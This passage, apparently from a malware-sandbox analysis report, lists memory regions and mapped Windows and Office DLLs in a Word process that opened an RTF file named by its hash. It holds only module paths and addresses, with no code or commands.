"\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll") Region: id = 394 start_va = 0x70980000 end_va = 0x70a02fff monitored = 0 entry_point = 0x709913b0 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\SysWOW64\\dxgi.dll" (normalized: "c:\\windows\\syswow64\\dxgi.dll") Region: id = 395 start_va = 0x70a10000 end_va = 0x70a92fff monitored = 0 entry_point = 0x70a4791c region_type = mapped_file name = "d3d11.dll" filename = "\\Windows\\SysWOW64\\d3d11.dll" (normalized: "c:\\windows\\syswow64\\d3d11.dll") Region: id = 396 start_va = 0x70aa0000 end_va = 0x72701fff monitored = 0 entry_point = 0x70aa1000 region_type = mapped_file name = "wwlib.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\WWLIB.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\wwlib.dll") Region: id = 397 start_va = 0x72710000 end_va = 0x72712fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\api-ms-win-core-file-l1-2-0.dll") Region: id = 398 start_va = 0x72720000 end_va = 0x72722fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 399 start_va = 0x72730000 end_va = 0x72732fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 400 start_va = 0x72740000 end_va = 0x72742fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 401 start_va = 0x72750000 end_va = 0x72752fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\api-ms-win-core-file-l2-1-0.dll") Region: id = 402 start_va = 0x72760000 end_va = 0x72762fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 403 start_va = 0x72770000 end_va = 0x7284bfff monitored = 0 entry_point = 0x7279c130 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\ucrtbase.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\ucrtbase.dll") Region: id = 404 start_va = 0x72850000 end_va = 0x72866fff monitored = 0 entry_point = 0x72851c9d region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 405 start_va = 0x72870000 end_va = 0x7293afff monitored = 0 entry_point = 0x72886a2b region_type = mapped_file name = "c2r32.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll") Region: id = 406 start_va = 0x72940000 end_va = 0x729a4fff monitored = 0 entry_point = 0x7295fa6c region_type = mapped_file name = "appvisvstream32.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll") Region: id = 407 start_va = 0x729b0000 end_va = 0x72b64fff monitored = 0 entry_point = 0x72aa3d5a region_type = mapped_file name = "appvisvsubsystems32.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll") Region: id = 408 start_va = 0x72d40000 end_va = 0x72ef8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "office.odf" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 409 start_va = 0x72f00000 end_va = 0x7313ffff monitored = 0 entry_point = 0x72f066bd region_type = mapped_file name = "msi.dll" filename = "\\Windows\\SysWOW64\\msi.dll" (normalized: "c:\\windows\\syswow64\\msi.dll") Region: id = 410 start_va = 0x732c0000 end_va = 0x732d6fff monitored = 0 entry_point = 0x732cd36d region_type = mapped_file name = "msohev.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\MSOHEV.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\msohev.dll") Region: id = 411 start_va = 0x73360000 end_va = 0x73362fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 412 start_va = 0x73370000 end_va = 0x73372fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 413 start_va = 0x73380000 end_va = 0x73382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 414 start_va = 0x73390000 end_va = 0x73392fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 415 start_va = 0x733a0000 end_va = 0x733a4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 416 start_va = 0x733b0000 end_va = 0x733b4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 417 start_va = 0x733c0000 end_va = 0x733c2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 418 start_va = 0x733d0000 end_va = 0x733d3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 419 start_va = 0x733e0000 end_va = 0x733e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 420 start_va = 0x733f0000 end_va = 0x733f2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 421 start_va = 0x73400000 end_va = 0x73403fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 422 start_va = 0x73550000 end_va = 0x73553fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 423 start_va = 0x73560000 end_va = 0x73574fff monitored = 0 entry_point = 0x7356b1a0 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\vcruntime140.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\vcruntime140.dll") Region: id = 424 start_va = 0x73580000 end_va = 0x735ecfff monitored = 0 entry_point = 0x735bab20 region_type = mapped_file name = "msvcp140.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\msvcp140.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\msvcp140.dll") Region: id = 425 start_va = 0x73630000 end_va = 0x7365dfff monitored = 0 entry_point = 0x736316ed region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\SysWOW64\\mlang.dll" (normalized: "c:\\windows\\syswow64\\mlang.dll") Region: id = 426 start_va = 0x739d0000 end_va = 0x73ac4fff monitored = 0 entry_point = 0x739e0d9e region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 427 start_va = 0x73ad0000 end_va = 0x73afefff monitored = 0 entry_point = 0x73ad1142 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\SysWOW64\\xmllite.dll" (normalized: "c:\\windows\\syswow64\\xmllite.dll") Region: id = 428 start_va = 0x73b80000 end_va = 0x73bbafff monitored = 0 entry_point = 0x73b8128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 429 start_va = 0x73bc0000 end_va = 0x73bd6fff monitored = 0 entry_point = 0x73bc3573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 430 start_va = 0x73be0000 end_va = 0x73be4fff monitored = 0 entry_point = 0x73be10f6 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 431 start_va = 0x73c20000 end_va = 0x73c2ffff monitored = 0 entry_point = 0x73c238c1 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll") Region: id = 432 start_va = 0x73cd0000 end_va = 0x73ce2fff monitored = 0 entry_point = 0x73cd1d3f region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 433 start_va = 0x73cf0000 end_va = 0x73cfdfff monitored = 0 entry_point = 0x73cf1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 434 start_va = 0x73d60000 end_va = 0x73ddffff monitored = 0 entry_point = 0x73d737c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 435 start_va = 0x73e30000 end_va = 0x73e38fff monitored = 0 entry_point = 0x73e31220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 436 start_va = 0x73eb0000 end_va = 0x73ed0fff monitored = 0 entry_point = 0x73eb145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 437 start_va = 0x73ee0000 end_va = 0x7407dfff monitored = 0 entry_point = 0x73f0e6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 438 start_va = 0x740a0000 end_va = 0x740aafff monitored = 0 entry_point = 0x740a1992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 439 start_va = 0x74b70000 end_va = 0x74b77fff monitored = 0 entry_point = 0x74b720f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 440 start_va = 0x74b80000 end_va = 0x74bdbfff monitored = 0 entry_point = 0x74bbf9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 441 start_va = 0x74be0000 end_va = 0x74c1efff monitored = 0 entry_point = 0x74c0e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 442 start_va = 0x75400000 end_va = 0x7540bfff monitored = 0 entry_point = 0x754010e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 443 start_va = 0x75410000 end_va = 0x7546ffff monitored = 0 entry_point = 0x7542a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 444 start_va = 0x755b0000 end_va = 0x761f9fff monitored = 0 entry_point = 0x75631601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 445 start_va = 0x76200000 end_va = 0x76234fff monitored = 0 entry_point = 0x7620145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 446 start_va = 0x76240000 end_va = 0x76266fff monitored = 0 entry_point = 0x762458b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 447 start_va = 0x76270000 end_va = 0x762fffff monitored = 0 entry_point = 0x76286343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 448 start_va = 0x76300000 end_va = 0x7639cfff monitored = 0 entry_point = 0x76333fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 449 start_va = 0x763a0000 end_va = 0x763cefff monitored = 0 entry_point = 0x763a2a35 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll") Region: id = 450 start_va = 0x763d0000 end_va = 0x7652bfff monitored = 0 entry_point = 0x7641ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 451 start_va = 0x76530000 end_va = 0x765b2fff monitored = 0 entry_point = 0x765323d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 452 start_va = 0x766c0000 end_va = 0x766cbfff monitored = 0 entry_point = 0x766c238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 453 start_va = 0x766d0000 end_va = 0x767cffff monitored = 0 entry_point = 0x766eb6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 454 start_va = 0x76850000 end_va = 0x768a6fff monitored = 0 entry_point = 0x76869ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 455 start_va = 0x768b0000 end_va = 0x769d0fff monitored = 0 entry_point = 0x768b158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 456 start_va = 0x769e0000 end_va = 0x76acffff monitored = 0 entry_point = 0x769f0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 457 start_va = 0x76ad0000 end_va = 0x76b5efff monitored = 0 entry_point = 0x76ad3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 458 start_va = 0x76b90000 end_va = 0x76c3bfff monitored = 0 entry_point = 0x76b9a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 459 start_va = 0x76ca0000 end_va = 0x76ca4fff monitored = 0 entry_point = 0x76ca1438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 460 start_va = 0x76cb0000 end_va = 0x76e4cfff monitored = 0 entry_point = 0x76cb17e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 461 start_va = 0x77050000 end_va = 0x7711bfff monitored = 0 entry_point = 0x7705168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 462 start_va = 0x77130000 end_va = 0x77174fff monitored = 0 entry_point = 0x771311e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 463 start_va = 0x77180000 end_va = 0x7721ffff monitored = 0 entry_point = 0x771949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 464 start_va = 0x772b0000 end_va = 0x773bffff monitored = 0 entry_point = 0x772c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 465 start_va = 0x773c0000 end_va = 0x773d1fff monitored = 0 entry_point = 0x773c1441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 466 start_va = 0x773e0000 end_va = 0x77426fff monitored = 0 entry_point = 0x773e74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 467 start_va = 0x77430000 end_va = 0x7748ffff monitored = 0 entry_point = 0x7744158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 468 start_va = 0x77490000 end_va = 0x774a8fff monitored = 0 entry_point = 0x77494975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 469 start_va = 0x774b0000 end_va = 0x774b5fff monitored = 0 entry_point = 0x774b1782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 470 start_va = 0x774c0000 end_va = 0x775defff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000774c0000" filename = "" Region: id = 471 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000775e0000" filename = "" Region: id = 472 start_va = 0x776e0000 end_va = 0x77888fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 473 start_va = 0x77890000 end_va = 0x77899fff monitored = 0 entry_point = 0x778936a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 474 start_va = 0x778c0000 end_va = 0x77a3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 475 start_va = 0x7ef70000 end_va = 0x7ef7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef70000" filename = "" Region: id = 476 start_va = 0x7ef80000 end_va = 0x7ef8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef80000" filename = "" Region: id = 477 start_va = 0x7ef92000 end_va = 0x7ef94fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef92000" filename = "" Region: id = 478 start_va = 0x7ef95000 end_va = 0x7ef97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef95000" filename = "" Region: id = 479 start_va = 0x7ef98000 end_va = 0x7ef9afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef98000" filename = "" Region: id = 480 start_va = 0x7ef9b000 end_va = 0x7ef9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 481 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 482 start_va = 0x7efa1000 end_va = 0x7efa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 483 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 484 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 485 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 486 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 487 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 488 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 489 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 490 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 491 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 492 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 493 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 494 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 495 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 496 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 497 start_va = 0x66a50000 end_va = 0x66a74fff monitored = 0 entry_point = 0x66a52b71 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 498 start_va = 0x4b0000 end_va = 0x4b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 499 start_va = 0x75470000 end_va = 0x755a5fff monitored = 0 entry_point = 0x75471b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 500 start_va = 0x765c0000 end_va = 0x766b4fff monitored = 0 entry_point = 0x765c1865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 501 start_va = 0x76e50000 end_va = 0x7704afff monitored = 0 entry_point = 0x76e522d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 502 start_va = 0x4b0000 end_va = 0x4b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 503 start_va = 0x57f0000 end_va = 0x58fbfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "7b5572ae246bcd3f6ee0375e1e7a8c8d4287dae4ca1803d72ae427d8ecc93a32.rtf4287dae4ca1803d72ae427d8ecc93a32rtf" filename = "\\Users\\kEecfMwgj\\Desktop\\7b5572ae246bcd3f6ee0375e1e7a8c8d4287dae4ca1803d72ae427d8ecc93a32.rtf4287dae4ca1803d72ae427d8ecc93a32rtf" (normalized: "c:\\users\\keecfmwgj\\desktop\\7b5572ae246bcd3f6ee0375e1e7a8c8d4287dae4ca1803d72ae427d8ecc93a32.rtf4287dae4ca1803d72ae427d8ecc93a32rtf") Region: id = 504 start_va = 0x72ce0000 end_va = 0x72d3efff monitored = 0 entry_point = 0x72ce2134 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\SysWOW64\\sxs.dll" (normalized: "c:\\windows\\syswow64\\sxs.dll") Region: id = 505 start_va = 0x35c0000 end_va = 0x363ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "~wrf{171c2a5e-be6f-488d-89fc-d6e6e833d852}.tmp" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 